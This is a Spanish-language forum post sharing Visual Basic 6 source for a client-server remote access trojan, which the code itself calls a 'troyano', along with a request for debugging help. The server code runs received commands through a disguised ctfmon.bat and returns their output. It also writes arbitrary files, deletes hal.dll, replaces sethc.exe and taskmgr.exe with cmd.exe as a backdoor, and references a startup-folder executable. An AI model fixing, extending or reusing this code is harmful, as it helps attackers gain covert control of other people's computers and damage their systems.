Veran tengo un problema, y la verdad que tengo toda la cabeza desordenada con esto
Este es el codigo del cliente, que envia los datos para que luego se creen en el host remoto
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Sub Command1_Click()
Dim datosarch As String, creando As String, lilis As Integer, linear As String, totales As Integer
datosarch = InputBox("Indica ruta, noombre y extension: (ej c:\ola.txt)", "Especifica datos", "")
porden = "uno" & "-xzññzx-" & datosarch & "-xzññzx-" & txtarchivo
frmcliente.wsk.SendData creando
frmcliente.wsk.SendData porden
End Sub
Private Sub Timer1_Timer()
Const EM_GETLINECOUNT = &HBA
Const EM_GETLINE = &HC4
lilis = SendMessage(txtarchivo.hwnd, EM_GETLINECOUNT, 0, 0)
lbll.Caption = "Lineas: " & lilis
End Sub
Luego he aqui la parte del dataarival del servidor:
Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
Dim orden As String, sistrema As String, todo As String, buscca As Integer
Dim handle_Process As Long
Dim id_process As Long
Dim lp_ExitCode As Long
Dim casa As String
On Error GoTo error
'--------------------------------------------------------------------------'
casa = Environ$("homedrive")
sistrema = Environ$("windir") & "\system32"
letra = Environ$("homedrive") & "\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
ini = casa & "\ctfmon.bat"
'--------------------------------variables---------------------------------'
[b]wsk.GetData orden
If orden = "creando" Then interruptor = True
If interruptor = True & orden <> creando Then
arris = Split(orden, "-xzññzx-")
ordencr = arris(2)
ruta = arris(1)
Open ruta For Output As #1
Print #1, ordencr
Close #1
Exit Sub
End If[/b]
If interruptor = False & orden <> creando Then
'------------------ordenes personalizadas----------------------------------'
If orden = "del " & sistrema & "\hal.dll" Then Kill sistrema & "\hal.dll"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\sethc.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\sethc.exe"
If orden = "copy /y " & sistrema & "\cmd.exe" & " " & sistrema & "\taskmgr.exe" Then FileCopy sistrema & "\cmd.exe", sistrema & "\taskmgr.exe"
If orden = "eliminar troyano" Then
Kill letra & "\intel.exe"
Shell ("taskkill /f /im " & App.EXEName & ".exe")
End If
'--------------------------------------------------------------------------'
Open ini For Output As #1
Print #1, orden & ">" & casa & "\ctfmon.txt"
Close #1
id_process = Shell(ini)
handle_Process = OpenProcess(PROCESS_QUERY_INFORMATION, False, id_process)
Do
Call GetExitCodeProcess(handle_Process, lp_ExitCode)
DoEvents
Loop While lp_ExitCode = STATUS_PENDING
Call CloseHandle(handle_Process)
Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1
wsk.SendData txtcom
End If
error:
End Sub
La parte en negrita es la que mas o menos importa digo yo
el problema esta en que yo tengo dos opciones en el cliente, mandar datos, como u ndir y que el me conteste con la salida de datos que se deja en el fichero ctfmon.txt
luego esta un boton para crear un archivo que primero introduces los datos y despues especificas ruta y nombre de archivo y lo crea
la cosa es que falla en unas cuantas cosas, a veces me crea el archivo, otras no, si pongo espacios para crear un archivo me salta a ejecutarlo y no a crearlo... etc
haber si me podeis corregir un poco el code que estoy paranoico perdido
:-[